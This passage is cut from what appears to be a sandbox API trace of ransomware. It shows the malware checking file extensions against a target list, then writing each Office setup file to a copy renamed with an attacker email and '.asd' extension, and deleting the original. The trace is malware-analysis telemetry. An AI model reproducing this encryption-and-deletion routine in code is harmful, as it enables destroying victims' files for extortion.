Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.393] lstrlenW (lpString=".1cd") returned 4 [0050.393] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.393] lstrlenW (lpString=".jpg") returned 4 [0050.393] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.393] lstrlenW (lpString=".doc") returned 4 [0050.393] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString=".docx") returned 5 [0050.393] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0050.393] lstrlenW (lpString=".pdf") returned 4 [0050.394] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.394] lstrlenW (lpString=".xls") returned 4 [0050.394] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.394] lstrlenW (lpString=".xlsx") returned 5 [0050.394] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0050.394] lstrlenW (lpString=".ppt") returned 4 [0050.394] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.394] lstrlenW (lpString=".zip") returned 4 [0050.394] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.394] lstrlenW (lpString=".rar") returned 4 [0050.394] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.394] lstrlenW (lpString=".bz2") returned 4 [0050.394] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.394] lstrlenW (lpString=".7z") returned 3 [0050.394] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.394] lstrlenW (lpString=".dbf") returned 4 [0050.394] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.394] lstrlenW (lpString=".1cd") returned 4 [0050.394] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.394] lstrlenW (lpString=".jpg") returned 4 [0050.394] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.394] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0050.394] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0050.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.395] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3186) returned 1 [0050.395] CloseHandle (hObject=0x1e4) returned 1 [0050.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0050.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.395] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.396] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.082] GetLastError () returned 0x0 [0051.082] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xc72, lpOverlapped=0x0) returned 1 [0051.086] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xc80, lpOverlapped=0x0) returned 1 [0051.087] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.087] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xf0, lpOverlapped=0x0) returned 1 [0051.088] SetEndOfFile (hFile=0x20c) returned 1 [0051.088] CloseHandle (hObject=0x20c) returned 1 [0051.089] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.089] SetEndOfFile (hFile=0x1e4) returned 1 [0051.090] CloseHandle (hObject=0x1e4) returned 1 [0051.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.090] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.091] lstrlenW (lpString=".doc") returned 4 [0051.091] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.091] lstrlenW (lpString=".docx") returned 5 [0051.091] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0051.091] lstrlenW (lpString=".pdf") returned 4 [0051.091] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.091] lstrlenW (lpString=".xls") returned 4 [0051.091] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.091] lstrlenW (lpString=".xlsx") returned 5 [0051.091] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0051.091] lstrlenW (lpString=".ppt") returned 4 [0051.091] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.091] lstrlenW (lpString=".zip") returned 4 [0051.091] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.091] lstrlenW (lpString=".rar") returned 4 [0051.091] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.091] lstrlenW (lpString=".bz2") returned 4 [0051.091] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.091] lstrlenW (lpString=".7z") returned 3 [0051.091] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.092] lstrlenW (lpString=".dbf") returned 4 [0051.092] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.092] lstrlenW (lpString=".1cd") returned 4 [0051.092] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.092] lstrlenW (lpString=".jpg") returned 4 [0051.092] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.092] lstrlenW (lpString=".doc") returned 4 [0051.092] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString=".docx") returned 5 [0051.092] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0051.092] lstrlenW (lpString=".pdf") returned 4 [0051.092] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString=".xls") returned 4 [0051.092] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString=".xlsx") returned 5 [0051.092] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0051.092] lstrlenW (lpString=".ppt") returned 4 [0051.092] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.092] lstrlenW (lpString=".zip") returned 4 [0051.092] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.092] lstrlenW (lpString=".rar") returned 4 [0051.092] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.093] lstrlenW (lpString=".bz2") returned 4 [0051.093] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.093] lstrlenW (lpString=".7z") returned 3 [0051.093] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.093] lstrlenW (lpString=".dbf") returned 4 [0051.093] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.093] lstrlenW (lpString=".1cd") returned 4 [0051.093] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0051.093] lstrlenW (lpString=".jpg") returned 4 [0051.093] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.093] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.093] lstrlenW (lpString="Proof.XML") returned 9 [0051.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.094] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1458) returned 1 [0051.094] CloseHandle (hObject=0x1e4) returned 1 [0051.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0051.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.094] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.094] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.095] GetLastError () returned 0x0 [0051.095] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x5b2, lpOverlapped=0x0) returned 1 [0051.097] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0051.098] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.098] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.098] SetEndOfFile (hFile=0x20c) returned 1 [0051.098] CloseHandle (hObject=0x20c) returned 1 [0051.099] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.099] SetEndOfFile (hFile=0x1e4) returned 1 [0051.100] CloseHandle (hObject=0x1e4) returned 1 [0051.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.101] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.101] lstrlenW (lpString=".doc") returned 4 [0051.101] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.101] lstrlenW (lpString=".docx") returned 5 [0051.101] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0051.101] lstrlenW (lpString=".pdf") returned 4 [0051.101] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.101] lstrlenW (lpString=".xls") returned 4 [0051.101] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.101] lstrlenW (lpString=".xlsx") returned 5 [0051.101] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0051.101] lstrlenW (lpString=".ppt") returned 4 [0051.102] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.102] lstrlenW (lpString=".zip") returned 4 [0051.102] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.102] lstrlenW (lpString=".rar") returned 4 [0051.102] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString=".bz2") returned 4 [0051.102] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString=".7z") returned 3 [0051.102] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.102] lstrlenW (lpString=".dbf") returned 4 [0051.102] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.102] lstrlenW (lpString=".1cd") returned 4 [0051.102] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.102] lstrlenW (lpString=".jpg") returned 4 [0051.102] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.102] lstrlenW (lpString=".doc") returned 4 [0051.102] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString=".docx") returned 5 [0051.102] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0051.102] lstrlenW (lpString=".pdf") returned 4 [0051.102] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.102] lstrlenW (lpString=".xls") returned 4 [0051.102] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.103] lstrlenW (lpString=".xlsx") returned 5 [0051.103] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0051.103] lstrlenW (lpString=".ppt") returned 4 [0051.103] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.103] lstrlenW (lpString=".zip") returned 4 [0051.103] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.103] lstrlenW (lpString=".rar") returned 4 [0051.103] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.103] lstrlenW (lpString=".bz2") returned 4 [0051.103] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.103] lstrlenW (lpString=".7z") returned 3 [0051.103] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.103] lstrlenW (lpString=".dbf") returned 4 [0051.103] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.103] lstrlenW (lpString=".1cd") returned 4 [0051.103] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0051.103] lstrlenW (lpString=".jpg") returned 4 [0051.103] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.103] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.104] lstrlenW (lpString="Proofing.XML") returned 12 [0051.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.105] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=811) returned 1 [0051.105] CloseHandle (hObject=0x1e4) returned 1 [0051.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0051.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.105] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.105] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.105] GetLastError () returned 0x0 [0051.105] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x32b, lpOverlapped=0x0) returned 1 [0051.107] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x330, lpOverlapped=0x0) returned 1 [0051.108] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.108] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.108] SetEndOfFile (hFile=0x20c) returned 1 [0051.108] CloseHandle (hObject=0x20c) returned 1 [0051.109] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.109] SetEndOfFile (hFile=0x1e4) returned 1 [0051.111] CloseHandle (hObject=0x1e4) returned 1 [0051.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.111] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0051.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.111] lstrlenW (lpString=".doc") returned 4 [0051.111] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.111] lstrlenW (lpString=".docx") returned 5 [0051.111] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0051.111] lstrlenW (lpString=".pdf") returned 4 [0051.111] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.111] lstrlenW (lpString=".xls") returned 4 [0051.112] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 